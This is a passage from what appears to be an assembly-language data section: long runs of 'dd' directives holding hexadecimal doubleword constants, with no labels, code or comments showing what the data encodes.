0D909FE84h, 0F89832h, 0DAF3B3F4h, 6ECCA8D1h dd 113CBCEEh, 0F8205FE0h, 0E313AEBh, 70DE379h, 4F92B4E0h dd 5D496AC2h, 0C83F259Ch, 1826948Ch, 4366B12h, 587F2142h dd 0D12FA307h, 4626E9Dh, 0A11CECA7h, 4E115808h, 4444EA01h dd 0B9D8E000h, 0A3CAF0D6h, 6057E8D4h, 32AB10D1h, 79181227h dd 8546DB81h, 40E01A0Fh, 5141D16Ah, 0F0C1A8FCh, 0BE4040B9h dd 716D8082h, 0AE8C01F8h, 837DCE40h, 27206C5Dh, 752C4611h dd 3C690471h, 8CE9AB8Ah, 0BE42FD60h, 441FEB22h, 9942B362h dd 0F8B1BC28h, 0A835134Ch, 0B4B25Bh, 704EB3DDh, 5D82B4A2h dd 3C4838EFh, 0C7515EA8h, 0DBE0F838h, 0CE873C00h, 0DC516D96h dd 0B5940045h, 0A5AAAB31h, 91EBF68Bh, 6A8410D1h, 5CCF05h dd 99CBE304h, 0BAE63EB6h, 5F4C1E74h, 0C2176072h, 0B0CC616Bh dd 9A320F65h, 2130C0Bh, 95C0A1BCh, 368494A0h, 0A49F5C0Eh dd 76408870h, 1DB6AEDFh, 0D2307D1Eh, 0F7831503h, 3DEE891Eh dd 39B8F16Eh, 37C200CCh, 80CF27Eh, 534700A3h, 5916B834h dd 4C1E0121h, 26C0E68Fh, 0F13CFB1h, 91C891F4h, 80013AC0h dd 61EFD22Dh, 2AE224h, 0FFFE54E0h, 0B6BEE46Fh, 328430C5h dd 0E20B2CE2h, 8C821440h, 4BC0BE86h, 0D9749BF6h, 0E513B302h dd 8273F72Fh, 88406508h, 0DF803C14h, 218D892Fh, 0A5BB01F5h dd 2CC6EC35h, 8F30807Fh, 9EC3F7C7h, 113600ABh, 575BC9A4h dd 0A60233BFh, 35B89C60h, 230E099h, 96DF2C80h, 0AED00290h dd 52153Ah, 6FA39E14h, 0D53454F4h, 0B82A6701h, 87021ADBh dd 0D0786BD2h, 273F6C9Ch, 0B0CC0BDCh, 0E0003842h, 9E18D601h dd 14060795h, 73A71F15h, 3A851208h, 12AC34F0h, 8F788C40h dd 22FA6625h, 446EC1D4h, 0D64F00F0h, 9D154A04h, 0E2003D0Eh dd 0E03A144Eh, 99AA345Bh, 0C8AB12E8h, 0D216B3C8h, 381DFCB4h dd 80E26D93h, 6FD8820Fh, 6E8A84A0h, 597C1DEh, 58A33F3Ch dd 7468227Bh, 0D613709Eh, 8700E4A2h, 0F35246EBh, 5D3855DDh dd 62FA8084h, 742FF8F1h, 0BFE1CCBh, 8BF07B8h, 659771ACh dd 3C223A1Ch, 28C41A77h, 987CD643h, 0D5D34400h, 4465C125h dd 7C0142FCh, 6C286C4Ah, 0CDD70074h, 0C49D6D8Fh, 0C2B9309h dd 0F8904445h, 1C8DD2Ch, 0C1997B6Fh, 29C06369h, 6C88C803h dd 7F3F8457h, 920AC86h, 6469AD32h, 7B930068h, 50AB8F6Ah dd 3B00E65Bh, 173D2DEAh, 5682A6Dh, 0D6995119h, 0CAB4B279h dd 44934D5h, 0C8A3120Bh, 4E2E8500h, 0BC601A84h, 13E0510Eh dd 3C656134h, 3C31E2A7h, 9B15E078h, 0FC00B0F5h, 7F1268FFh dd 0AE00323Eh, 0BC4CDFABh, 16961B06h, 0C165F584h, 1283E5B4h dd 40F85ED5h, 6A307A48h, 7169150Bh, 44B06414h, 0FE5D65B0h dd 9E7870h, 4C90C540h, 7661433h, 902D3DEh, 0D815BA6Dh dd 605676E1h, 0CF003380h, 31F9F2DDh, 51344058h, 8C6108A7h dd 4EC1404h, 0BD1B0076h, 9A6CC7B8h, 0F2010A84h, 737941A5h dd 0F8205EC6h, 0C83100E3h, 0D029E5ABh, 0DF52CDAAh, 0A3F500B0h dd 5DBB7EBh, 6A070034h, 0E15B4BE7h, 0AF39AB3Ah, 0B24A929Dh dd 0F9D9EC62h, 0ABB60088h, 0B84B1439h, 36026DFCh, 5B17ECA0h dd 9CC281BAh, 0F6D843B9h, 0B0280097h, 2CDB1F56h, 0B8B870CCh dd 0E5B2B500h, 0CDD3D44Bh, 0F8909DB4h, 7601029Ah, 9DA82B19h dd 7DCC9238h, 6D540048h, 0CF345D2Dh, 2306E388h, 4407FF7h dd 22E40320h, 0A85ED839h, 0B3B755B0h, 44B0AF25h, 0BA7138h dd 1EF81367h, 3DED6CE6h, 66096501h, 0AFFAE2C7h, 0B97B1E70h dd 0E17F875Ch, 7817803Bh, 244FF394h, 0BBAAEC8Ch, 441025BCh dd 890078F1h, 0B5F9B1F0h, 4552E82h, 1D1A6B08h, 0C110B804h dd 0ADA540DCh, 0C358083Eh, 5009E9Fh, 7BBCC9BDh, 39DF0055h dd 11A728CEh, 4CBE3516h, 70CC4B58h, 137B4E3Dh, 0F0E704h dd 1BEB7747h, 247B55h, 97F3CC8Dh, 7A0DCEFCh, 84150CECh dd 25286AC1h, 4500646Fh, 60A8603Dh, 0EE3E8709h, 2C58008Fh dd 84199493h, 58880882h, 5A582814h, 0F877840Fh, 9E660EB8h dd 4865C3CAh, 5D3988F9h, 3D7D1276h, 7BC2040h, 0F4074A15h dd 0B5D1E649h, 0EBA6CA90h, 0D19C5A4Ch, 6AE0F328h, 0F87A028h dd 0EF4324A8h, 65C8A7E0h, 6000D70Dh, 0F84A645Fh, 5B2BC3Ah dd 663C739Dh, 127CB4F9h, 0DBB13400h, 0D67B8770h, 0B219C01Ah dd 3D99630Dh, 0E051B49Ch, 56E20DEh, 0CB00869Eh, 484E35ACh dd 745CC674h, 0D8E300F8h, 0C1DB367h, 0B52ED436h, 9E67C4B1h dd 0F678A200h, 0D6380015h, 0FE23C322h, 0A7078054h, 285F2E84h dd 247C03B9h, 562DEAE5h, 908A000h, 0DC127058h, 35C36433h dd 105BD1A2h, 0BD8829h, 0C4DE2FBFh, 737444B7h, 0EA790096h dd 32DA67EBh, 0E082041Ch, 90A9FAF4h, 34852D54h, 0D8125CC5h dd 4BD9E102h, 0EC405595h, 0A11310C6h, 48A4AFE0h, 147C8AEFh dd 0AB7D040h, 0CC9A001Eh, 2A1D24EAh, 9B323885h, 20646143h dd 5AEA16CFh, 0ECB90900h, 0E0969781h, 5EA82663h, 13804EB8h dd 3942C049h, 7AC14A00h, 0A183F976h, 13887648h, 90163B2Bh dd 43B09E60h, 0A1DE4C0Dh, 13A40FBh, 0F3AECE00h, 53F062D7h dd 4BD400ECh, 76354FC3h, 2047007Bh, 0EF84371Ah, 0E4B83F0Bh dd 0B5FE8CFAh, 74500D26h, 48260822h, 10602CD4h, 1FEA6030h dd 2D97EDDh, 0B761D85Ch, 9133892Ch, 0D5DB0468h, 0FAC4C2B5h dd 85508429h, 3C6CF256h, 0AA2B00DBh, 0CA9D0A7h, 0CBE705FDh dd 0B0E89EF8h, 400995C8h, 853D7AFEh, 0C82AC064h, 0A74C8E01h dd 8A18157Ah, 0C86ACD08h, 85F30980h, 0A8034Ah, 9C229EF5h dd 194F0B7Fh, 92A2D03Ah, 8CB2484Dh, 0BAD7EA05h, 270BC0BDh dd 34099A31h, 802C1828h, 5C2BDEC5h, 26712D0h, 9F70D05Fh dd 45006D72h, 1EF4919Bh, 0CB26B79Ch, 7C2D4450h, 4165E029h dd 12110303h, 0C2A47685h, 0FF088019h, 0E1663EB4h, 5D64287Bh dd 0D5F9C300h, 0E853927Fh, 0A6F50088h, 0ACBD10EDh, 632F21D7h dd 0AD0C41B1h, 1B0DF422h, 6A40798Bh, 4470100Ah, 0D4470A3Ch dd 0AB807C12h, 0A63606ADh, 96A503FBh, 0D64DA195h, 0CE0A56F8h dd 7A839C00h, 9746D843h, 9FB20469h, 0D0BCCD13h, 0D0DE4B2Ch dd 3412535Fh, 726DF00Bh, 8E6023Ch, 9C036AB2h, 24F8DC64h dd 0B54C2900h, 611A276h, 421A00ECh, 0DD0A8D5Ah, 2C9134AEh dd 0E2DFB302h, 0C980DEB1h, 0E11124D3h, 5E083580h, 26016C06h dd 0B03FAAFEh, 0E8293284h, 0FF114400h, 0DBC32A7Fh, 47CD3304h dd 0E48C144Eh, 0D4761E36h, 7B7F0039h, 23B69545h, 1FA7C003h dd 5E6D69C2h, 6464C829h, 40ABB500h, 0FFE5B39Fh, 0D654006Fh dd 0A673553h, 9C5A5977h, 5CDB3840h, 0B07BEB96h, 26150F40h dd 0DF62CD18h, 8AB2EA8h, 9710C01h, 0F182DA2h, 0F63E687Fh dd 88E0A070h, 0C0A7FE4Dh, 16341308h, 94007298h, 0A3C1D05Fh dd 255DD74Fh, 84A0DEF3h dd 124AA7D5h, 450370FAh, 35D691E2h, 0A534E9E0h, 3688CC68h dd 0F3126310h, 4CE82CDDh, 0AC860100h, 2E8105D6h, 83E9246Eh dd 1E78207Ch, 65012CE5h, 125AB0CCh, 3064D470h, 914CE8D6h dd 8CE11214h, 0C088F690h, 70D1E23h, 626DC097h, 16509A2Dh dd 31D2DD02h, 84603D42h, 0CD46FAF8h, 6BE05168h, 1669B500h dd 0BD26A9FDh, 0C1AD0072h, 14A4A350h, 9C48390Dh, 0B8088714h dd 0CD5B2520h, 0EF9E0067h, 37662FB1h, 24B858E0h, 60409486h dd 0A410B773h, 5F4472C1h, 71DB00B6h, 7D29BF62h, 7416BD45h dd 2CC04AE9h, 3EDB7B11h, 330E3A0Ah, 36802A4Dh, 0F6BCEC99h dd 48B38039h, 0B7DA0754h, 2D6318C5h, 94086DCh, 0BDD4D563h dd 6642A400h, 90B7BB03h, 25910C4h, 0D6B23B8Bh, 24E0A7EEh dd 0E49EE5D3h, 3D90BCC0h, 6A5E06B3h, 28AFEEC4h, 5AC1BF44h dd 345C276Fh, 8B34C174h, 0EF6A00B3h, 3118A4AEh, 0CC59EE9Bh dd 5003CCFFh, 140733Ah, 0EFDB6BE8h, 0E0207CE3h, 0D8584E04h dd 6B006E54h, 105E9586h, 54664B82h, 9D68F6h, 21DCCE32h dd 4A144FE2h, 0B1A39402h, 64D8DBF3h, 78B1B77Ch, 0FCA40878h dd 12CF0959h, 5CE46694h, 0CDB93C00h, 0FDEEDDF5h, 0A300021h dd 45B35836h, 0E161EBBFh, 8CEFE28h, 0D8DBE3F6h, 0D268D7h dd 12D12F04h, 248A4D65h, 0D45E3328h, 0B192C503h, 11F72013h dd 2257B8E8h, 0A220F67h, 0E28035BCh, 0AAEFFC1Eh, 0CDCBB71Eh dd 0D8FDA45Ch, 18284E84h, 263B42D7h, 0D1120439h, 0A7FCC8h dd 0A89E0B37h, 0BB1ACA62h, 0C8279F00h, 1E6AD841h, 94CD0055h dd 0AF13D933h, 0AB79EE76h, 66440F04h, 28808434h, 151DD33Fh dd 0E8DD5EB8h, 40A2121Dh, 0B74A2C54h, 6F0089FFh, 1513D730h dd 0F1AED620h, 6703C0F7h, 0B399025Bh, 215F4F3Dh, 9DDDC90h dd 377614FCh, 6500FD74h, 0A208C092h, 233D7DAh, 1168801Fh dd 0A889306Dh, 0C5810CF9h, 0D71F950Ah, 0AD0C0B7Ah, 88973C04h dd 59C071ACh, 94ACEFB3h, 3F8B00FEh, 18A356D8h, 3300D3A0h dd 7EA1BDA5h, 15ED7EFh, 9D6B4443h, 6C73CDAEh, 0BEB38870h dd 0C8C84C2Fh, 3CB181E1h, 20E53442h, 0AB1A4AD9h, 119D6F7Dh dd 0B828AE70h, 69146DC0h, 37278520h, 56584A0Eh, 0D9F3C39Ch dd 18D641E4h, 0F5401E6Fh, 27940899h, 6C64E9ABh, 706A2517h dd 0E5245E00h, 2D41B68Ah, 184586F8h, 0C10FD980h, 3616F2Eh dd 7BEC9336h, 0BE983220h, 11F4836Ch, 13C9AD00h, 8274F697h dd 0D4590B93h, 0B28F26E5h, 53764EE0h, 2D1CBD44h, 6C3F5Fh dd 7A16B340h, 0D6F80003h, 0F274DC26h, 0F6092EE7h, 82531DEFh dd 0D1D7F3E8h, 0AC1AC5BCh, 92D9C938h, 4887188h, 47ED9B78h dd 0F3D03AFEh, 134CA7Bh, 3893CB58h, 50EB68C2h, 5C752B4h dd 0FE1E6C00h, 60DF3FAFh, 0A7DC000Ch, 3BA49C29h, 0D000727Eh dd 9B05DB5Ah, 5BAEA647h, 3C28C04Ah, 22BDF64Fh, 2E736A0h dd 1CC469C1h, 0CE00C086h, 0E1BBE0E3h, 0F928473h, 4CD3B7E2h dd 8C849BE9h, 0C82057C0h, 8FBCBDh, 0D72F5DB6h, 0AC51FE6Bh dd 910C61B0h, 389DB21Eh, 0BB4484A4h, 9F53DA7h, 6572313h dd 0A0A6EE3Ah, 0AA9CCC54h, 85222004h, 84ECF536h, 0B693381h dd 0EC207AB8h, 148CDF1h, 98A8FC1Ch, 0F89C07B4h, 962B1B2h dd 24E4A450h, 0B77C88CDh, 8AEE600h, 20F32C6Bh, 0C168C821h dd 0EC90CD96h, 68FD277h, 0EF45A116h, 962F50C7h, 2406CE6h dd 2E7611DAh, 0C15DDEh, 8841F212h, 0AADC104Dh, 0E67022CBh dd 0D44A6D00h, 78E1D7B3h, 4490900Dh, 0D8B8D595h, 0E3406B0Bh dd 60C8E4E8h, 463B3A9Ch, 90003929h, 346F3098h, 0EEFB13B6h dd 6A5300BBh, 0D867C6B8h, 3F0062D7h, 327C3CA4h, 5B9647D9h dd 3964CA9Ah, 0D052A84Fh, 0C189D478h, 4FA68510h, 6A50C3A0h dd 0CBE10E01h, 5D9EFFF0h, 2084942Dh, 0E95C807Bh, 0F900C4D5h dd 0EB3D1E65h, 7C366321h, 6CD7009Ah, 0AF58240Eh, 5202DB33h dd 0E0313903h, 0E288606Dh, 9C6E8876h, 5500DCB1h, 0F5DDD326h dd 9BCE137Fh, 0C438D43Bh, 38588BB1h, 642A80E0h, 0AE7B5002h dd 0A8F40171h, 845CE4FCh, 4F406D3Eh, 87F488h, 0A2701B77h dd 7D374F08h, 0CD24BA01h, 71C24956h, 8414207Bh, 0B826DF69h dd 3D41A4DDh, 92B7AE8h, 60E46554h, 5973C114h, 0D8D63C1Ch dd 694FC08Ch, 0E37E62h, 8A8BA9C7h, 22173CCBh, 195E82FAh dd 859F4C2Ch, 44126D16h, 8622C4ACh, 64A3762Eh, 32BF2538h dd 40F0D644h, 0AD47826Ch, 7073A000h, 6F88131Ah, 0CC8B004Ch dd 0DC6DCAA1h, 0A0BEDB0Ah, 0A9EF4108h, 5FFF8088h, 6F5B83DAh dd 1D68134Ch, 90B0144Dh, 5E3C6D07h, 25A424F7h, 6E7CF464h dd 50CC344Eh, 42D672A1h, 10630673h, 1160CDh, 0CFB0265Fh dd 0AEE32B83h, 7002BB04h, 0D4FC81C5h, 651CE124h, 87544060h dd 223F0D19h, 0A1B79700h, 0E71D6FB5h, 0D6992C9Ah, 1657000Ch dd 0A4F65E6Bh, 0F2944001h, 0D0270D1Fh, 5C01EC6Ch, 20B80716h dd 0F8729Ch, 29D7EE1h, 7077AD7Fh, 33E051Ah, 0AD84E570h dd 131E96D4h, 1DAE23C0h, 76D3225h, 0B791B405h, 893ED330h dd 0DC1113F8h, 4C95BF00h, 38E39B5Ch, 0F678009Eh, 0D8A27B08h dd 0BC02AB15h, 58A169B7h, 68711Bh, 0B1EE35EBh, 0DF0089C1h dd 71C93AC3h, 0CCD829h, 0DCAB0FBCh, 0FEAE99B0h, 4CC821E7h dd 4386A128h, 8FAB1693h, 4A00C4E2h, 9A7D172Ah, 0BF178958h dd 4604FECEh, 1091CCFBh, 8517E539h, 0FD788204h, 0BD805428h dd 0D08B1068h, 63F9007Bh, 8226C507h, 3F2C1D58h, 0FE097A5Ch dd 0B7E307DBh, 0ABC50059h, 3FB6CE5Ah, 9DBE28B5h, 0ECCDDD00h dd 7A15E9F3h, 97FECC3Fh, 0EC438FFFh, 0D81E647Eh, 25024513h dd 7CE43B85h, 0AB5FE277h, 224264D2h, 44E81ADCh, 82ECD748h dd 2425B34Fh, 4E03C0A3h, 0A03B5003h, 0DE3881C4h, 6CD5117Eh dd 4AA2C060h, 0B11007C3h, 0BC4419B7h, 4000C7F6h, 881C5AB3h dd 12191202h, 25D8BC2h, 0CAED4830h, 0E10964C0h, 40F87482h dd 2B683CBCh, 119F600h, 5CA5E13h, 396B0037h, 0E846F18Eh dd 0A1043641h, 0EAB44D4Fh, 412518F0h, 444D57h, 54D041B5h dd 0B1DEAE00h, 71CA0C9Ch, 98FFE4DCh, 2B58888Ch, 41020EA5h dd 0B3208084h, 0F91AAE0Bh, 27E39F14h, 35650598h, 3040C9B5h dd 2664853Ch, 0F39A00EAh, 0FF1B1972h, 7526BF45h, 4192D032h dd 0CA074BCh, 7B01A31Ch, 90594F6Fh, 0C7F4DFC9h, 0EBB00E2Eh dd 0F6F2C1E0h, 68127F28h, 0FC445B2Dh, 0A05680D6h, 854A49B8h dd 0F8073824h, 92B040Bh, 64205E04h, 9E2C80B7h, 2D002EE2h dd 6A519546h, 5E2050FCh, 6EAC8CA6h, 0D6491B74h, 82906970h dd 2378DE54h, 0B8E83DDBh, 5346874h, 70EC987Ch, 0A7408A7Ah dd 0BB037FC9h, 33E0B39Ch, 48300859h, 0D7847E35h, 8803265h dd 0B0CE843Eh, 84B24E30h, 154480ACh, 20B1A477h, 7F22780h dd 14EC46Bh, 915DD0BCh, 849358D7h, 0DFB87F82h, 8422D0B8h dd 6FF8865Fh, 5268A700h, 0A103B1B5h, 0AD73A900h, 0B0EE8D9Dh dd 0FAD6F636h, 7E4C0299h, 0F765E9ABh, 74CEB0E2h, 8BC87F02h dd 90F208D3h, 0BFDDF364h, 0C7039414h, 0EA8EDE65h, 9032E86Ch dd 7B580013h, 0C2F19C12h, 662C29CBh, 6A4054FFh, 3D2A24AAh dd 804F45B3h, 4002B8BCh, 768C541Dh, 8B0FE080h, 164C2D34h dd 6072C1D6h, 186513B4h, 0F277E01h, 34AB9E66h, 0C008ABD6h dd 8AC6F634h, 7B509055h, 0B78A2419h, 0DDF200A2h, 5DF0655Ah dd 0A473393Dh, 7B51B435h dd 455E1410h, 0A07E2BEEh, 3D90AA4Ch, 5CE6816Fh, 8B826802h dd 0E40CB8BEh, 0A0181650h, 40678116h, 0E2F00EAFh, 0BBA180BDh dd 0E3EAB2A3h, 5FB40200h, 9E6A7B57h, 63A700ADh, 9C37260Fh dd 7C0087E6h, 3CDAAC82h, 61CC2DB7h, 0D934406Bh, 182A00B4h dd 713F805Ch, 81196D60h, 0FACD3644h, 0A884FD68h, 0FE5D3A2h dd 7EE840h, 0AFF0139Ch, 441D8259h, 0A640CD74h, 0F91FB4B9h dd 9FE80C79h, 8C40A8EAh, 0A4741650h, 87C408FDh, 1F085090h dd 0AC84B44Eh, 28015945h, 1FE48ABDh, 6AC0C44Ch, 1E06F650h dd 0AD8EEF05h, 48C31926h, 0C179A064h, 0CC11976Dh, 1324D2F9h dd 0F0584EBBh, 6D73FE60h, 120ACF1Fh, 0F4D72F6Fh, 0A72009h dd 0BBEA5680h, 2B141667h, 757800C5h, 0C8A6FD26h, 0FA43D0Bh dd 98CF087h, 6CC137FEh, 0F4718400h, 0DF00A660h, 3F86745Ch dd 306FF8AFh, 0E4206999h, 2298CCAh, 1E22037h, 5732A3h dd 0C3442288h, 40E44FF3h, 45DF291Ch, 4494C64Fh, 40387669h dd 69911A4Eh, 84589B01h, 0FD9C6E0Dh, 302BAC10h, 9198DD4Ch dd 283FF104h, 28DDEC24h, 0DC4A69h, 6C70B39Bh, 0DCBD4CB2h dd 3B3FECA0h, 56DBCC03h, 224DF4DEh, 1E009F29h, 774EFEEh dd 62CA12h, 6ED5FA29h, 61CB06FDh, 0D8FB2C01h, 0E6854773h dd 0DDA2D8h, 0AD722FD4h, 0DEA1FEE4h, 1031D530h, 747DE1h dd 7469644h, 0E9EE7AC1h, 0D298AC0Eh, 0A015EF78h, 13024437h dd 0B67D018Bh, 1D29654Eh, 9980FC38h, 0DE0096ECh, 0EB9EFDE5h dd 30A8300Fh, 0D8215BEEh, 2B097458h, 9C5CAB8h, 209500EBh dd 395EB586h, 0DB030BDCh, 0F0FA5961h, 134226F8h, 0A89B3300h dd 0D612B167h, 7668FEE4h, 0C2FD00BEh, 217F2C31h, 23009101h dd 0A0074F02h, 5047D1h, 70A5FBECh, 7A2298F3h, 0C40008EEh dd 0C54CF415h, 3CD63AE0h, 980031CBh, 8C0F23AAh, 3601EEA7h dd 3DD8C599h, 683061BEh, 0C78F0002h, 0AF50854Dh, 0BD025B82h dd 7DBE2D49h, 1BC5046h, 0E31D4801h, 0FC3AD38Ah, 400F55Ch dd 4A4FEAE2h, 3C98ECh, 0A5F05BC7h, 7A811FA3h, 17B12000h dd 0B767AE71h, 35960059h, 0ED30AB60h, 1D00AC26h, 0E58D7AC3h dd 20796Bh, 94C2B5D5h, 8315CFC6h, 0DC8B5403h, 0F0760B6Eh dd 0F7822EABh, 0F045AE0h, 0E36F538Dh, 0AD3F7D63h, 0D79CCAC8h dd 368BE100h, 1712A9Bh, 6B8F0009h, 0A370131Eh, 823D57E3h dd 1BA613ECh, 1C32EE00h, 3DED7Dh, 4BF9C03Ah, 0F880565Eh dd 4D2FE00h, 0BB61DD37h, 0E05A14CCh, 0F4C010B5h, 0FF8A76FCh dd 0F9510300h, 0BF9730A0h, 59990137h, 0AC603C12h, 20016FEAh dd 0C9CA702Bh, 0EFDC53F5h, 0B8740042h, 0E5494FC3h, 753C41EEh dd 389580BBh, 0B3360C47h, 2E18004Ch, 44FF749Bh, 126041ACh dd 88C64918h, 5CD148BDh, 0C2D33A1Fh, 799AE925h, 6BF63448h dd 0D7177607h, 70B1E7FEh, 0DC8FB48h, 45361BC5h, 0ED829CBh dd 333D8EE8h, 7C9D801Bh, 0A2159586h, 3AEFFA98h, 0A81ED278h dd 0E480BAC0h, 62CEE22Ah, 0DB24FC2Bh, 0CA008421h, 0F4C35927h dd 83125C49h, 164E1E07h, 0D65A80AEh, 1900F51Fh, 5FB7A59Fh dd 1FCCA318h, 0B809C23Eh, 170F1Ch, 0A2CEC8B4h, 3828F05Fh dd 0A13BC6A4h, 7598066h, 8D0F1B8Ah, 7E0960A8h, 0DBE696DAh dd 60C8312Dh, 220A80h, 0EE1B50BCh, 0E0576EDh, 114AC20Fh dd 87520E3h, 5FC50Fh, 2FD2717Bh, 0FBE8A96Eh, 3000A678h dd 199ADDC3h, 481B6EEh, 7048A23Dh, 0ED14C093h, 0E30041A6h dd 0D3F589C0h, 90CFD5h, 0E65570B4h, 0E20D7A44h, 7B6CD000h dd 98EA3D25h, 30E524A2h, 7DCF00CFh, 111F9A85h, 211E7F30h dd 1FEDA8FDh, 0C01CA74Dh, 0BA94F036h, 8602F148h, 47FDA213h dd 1BDC68FCh, 5C160002h, 98122AADh, 0F4000933h, 11CBF24Eh dd 75C5897Eh, 66084C6Ah, 9FF9CF03h, 0E5F08AC2h, 50FF491h dd 0C0A0E8B7h, 17D902BBh, 580B006Ch, 4245FBE2h, 0EF00A6FAh dd 0C92FBD0Eh, 39C564h, 0A13EE647h, 9EECDA04h, 6EB68100h dd 69D98857h, 70CF010h, 0BA4C562h, 0C09734E6h, 0F46D9AE4h dd 0D86A4F00h, 69B640D0h, 714800F5h, 0A59BECE1h, 7A008076h dd 73CEAA84h, 39BA4AB5h, 0B601899Fh, 61B2913Fh, 0DE843013h dd 65E6424h, 0EB809C2Ch, 0BFB1DF55h, 0E9490351h, 609541A3h dd 0A6808DD0h, 8E94AA01h, 0D86E3CEh, 0DCAC30h, 0C9852804h dd 0FB2EEF45h, 0C801C13Eh, 50CF26ADh, 194EB300h, 242DE7ECh dd 4E94BA92h, 3BC04FC9h, 8A078EF9h, 9A2E31FBh, 84D590B0h dd 0D2AE0688h, 0C0E6B96Fh, 7CA8762Ch, 0E0B2958Fh, 0D4503502h dd 332D00D5h, 5F2EE70Fh, 0E20010A6h, 0D840FF2Ah, 6885C7h dd 8082C8BFh, 8B4FB994h, 35BD5200h, 1EDAA177h, 541F6A7h dd 0B8377E18h, 0E77AC199h, 69AAD434h, 0E06448h, 0FA665BE6h dd 9087B2E0h, 357438F0h, 0AA007B3Dh, 536C6782h, 9E00CCCEh dd 0D14409F7h, 1E6F50E1h, 89F16EE2h, 2E00AE34h, 3CB38325h dd 9DA1A500h, 0B1BAA4CEh, 0CF7DF5h, 48168F51h, 1AB91344h dd 0AE672F00h, 0ACFF1C08h, 5F460037h, 0F8AAB793h, 6B0EC573h dd 0DE9F2354h, 45D3FD00h, 0F60652Ch, 6F51958Ch, 0D460ECA9h dd 0DF00FE2Eh, 0DA01F764h, 1E09F972h, 7C2D5EC6h, 0AFC7100h dd 757763C9h, 0EC2BD62Ch, 0F44BFF96h, 0E52F032Eh, 0D1100201h dd 9254644Dh, 4AB9DC43h, 0F0C847E6h, 0D7B3F034h, 6039C298h dd 0E21380C5h, 0EA1E77F1h, 3A9202EBh, 967DFE08h, 0C9138C68h dd 94C05100h, 6E351CB4h, 86800070h, 0BDA0E617h, 0D800E319h dd 109B075Ch, 0C9AB25h, 0ED694B56h, 0AE90C09Eh, 735CB00h dd 8F1B03BDh, 0BA4C00DCh, 0E9986405h, 0EAFED085h, 4B12787Ch dd 0B400EC56h, 9D0547D2h, 0C0690024h, 2B5EE21Bh, 0F90654CDh dd 6D6EC80Bh, 13413F10h, 69FBC680h, 9C3E936Fh, 21D3ED00h dd 81801632h, 465B0ECCh, 7220049Eh, 5D68ADCBh, 4C1BEC00h dd 33F3B7B2h, 0F2BD0012h, 2CA479ABh, 51006336h, 7874E45Ch dd 48848BBh, 0DA6B1B89h, 30DC8758h, 8652C5ADh, 78B04F26h dd 7F38A88h, 0B1B95517h, 201B7341h, 6100F0A0h, 5A5CD4FDh dd 59D75B8h, 0CA18FBFh, 0EDBC00F2h, 7F2DDBD1h, 0CC794300h dd 32C02178h, 401C6082h, 4E970FFh, 47981E00h, 0CF532717h dd 21D561E3h, 0F0758452h, 0B0B65819h, 0C1076C1Dh, 37831E83h dd 0FE292481h, 70030376h, 0D7B0E443h, 9E000E82h, 6477AE05h dd 73255129h, 0BCA501AFh, 4B55992Dh, 0A2A1D413h, 546D712Ch dd 6E73EE00h, 2E7E8B4h, 9EB8FC1Bh, 0C0C0C8ABh, 1F06A928h dd 41D2B05Dh, 84BE0031h, 0B2DFBB27h, 0BD01A956h, 0ACA4828Bh dd 25F89092h, 0FF44005Eh, 0C1733634h, 0B160F76Bh, 0BB572B78h dd 612300A5h, 0A75BECB2h, 4A005ED6h, 8434BDACh, 3BDA8DD2h dd 0BF00AEFAh, 2F9E0D65h, 0B3002413h, 71AC2CDBh, 1A9BCEh dd 2D76A9FBh, 6E56DACAh, 34F98600h, 10BE8FA6h, 3E0E000Ch dd 89690107h, 58C01F2Bh, 2774C9A8h, 6A8A0E6Eh, 62030639h dd 210E3088h, 0C09501ADh, 0FE736766h, 62B50925h, 1154F3h dd 28AA26h, 4BEB8527h, 5781C008h, 5AD602E3h, 495CCB09h dd 0FAC59848h, 80E95600h, 0DC21BC70h, 0E1F80022h, 1FB6621Bh dd 0F12628D6h, 2D87A4E6h, 0F2F016E8h, 0EA1532Ah, 0E211ED30h dd 0A5562760h, 0FF0C7F36h, 78E889BEh, 8D60BFEh, 2C712DA7h dd 797B2800h, 69F14C0Ah, 2F85A0C8h, 0A1CCFCD6h, 1C455FD7h dd 0A04AECE9h, 800C61Ch dd 20936CA2h, 66E03Fh, 7D38A511h, 0E529D533h, 1E95BF3Eh dd 0E2C90C44h, 1DC7AA1h, 0FEB03B03h, 2BAFECFFh, 0F8B45404h dd 3488E10Ch, 0B855E016h, 1712D0F2h, 73CF97Ah, 6C6A0F9Bh dd 0B872C2C3h, 7C69CCFh, 59EAB4E0h, 0D0C4C73Ah, 0AA474627h dd 10EF3E00h, 4EBDCA5Eh, 66A90034h, 1E097AE4h, 0E700AE4Bh dd 5E8E6147h, 0B3039Eh, 0A2F48697h, 1BF75BF6h, 0C56CCE2Ch dd 442D0238h, 0FEB36340h, 2F708450h, 0DA28C11Eh, 0E19B854h dd 206E0568h, 765567B8h, 79692AC1h, 0FB1C00A8h, 7B4FFC4Bh dd 0C0014CF7h, 567224DEh, 0C068CC2Bh, 67693F00h, 55E9AF3Ah dd 883C4626h, 0AB7C0Fh, 223365E1h, 37851740h, 71104015h dd 0E2A1A4DCh, 83745C00h, 0B7DF146Fh, 38F6F0DDh, 28EF6879h dd 0C9970C83h, 0A9FC1809h, 3B47A9Dh, 993E1A49h, 68008C78h dd 6CD6FAE3h, 58B17B54h, 0A819DEB4h, 0DC35A00Ch, 37308457h dd 0DCAA8106h, 58CB600Eh, 15D81AC9h, 0E3B1C403h, 1D98F0Ch dd 0F4380218h, 0F0B8721Bh, 377DFF27h, 6F947F50h, 0F0F6470Bh dd 0ECE704CDh, 990A18A9h, 4489E4Ch, 2155D3E1h, 81F21C32h dd 0DBAB33A4h, 0D90CEC7Ch, 6BE8BB3Ch, 4C101BF5h, 38B8E09Eh dd 77691240h, 0DF2801E1h, 971197FAh, 0F0D09AF8h, 17603Bh dd 623D6946h, 0CFA572C8h, 50909A4Bh, 205BE2h, 0B4744EFFh dd 84A6EB43h, 0B2D93560h, 9CFB542h, 9BE9D18h, 0E961B802h dd 0AD2C6500h, 117000Fh, 0F6BCE6CFh, 9B74E2A3h, 2D5D9D00h dd 154A2662h, 65CE056Ch, 85B27142h, 80C0EC84h, 5A91DFA3h dd 0D89600CFh, 4A657FFBh, 0D6005B58h, 0B0A8F65Dh, 5EC302B7h dd 9A088837h, 0A9A5A003h, 0E0BB9B4Fh, 76A62C8Fh, 46E0B0h dd 588AFCE1h, 0F3B479E6h, 9040E25Fh, 0A79D2B33h, 0CC350B78h dd 68F9C858h, 0E2DBAA03h, 0A028E81Ah, 72A5007Bh, 582AD538h dd 0B4003EF5h, 2C0C7125h, 118BD9Fh, 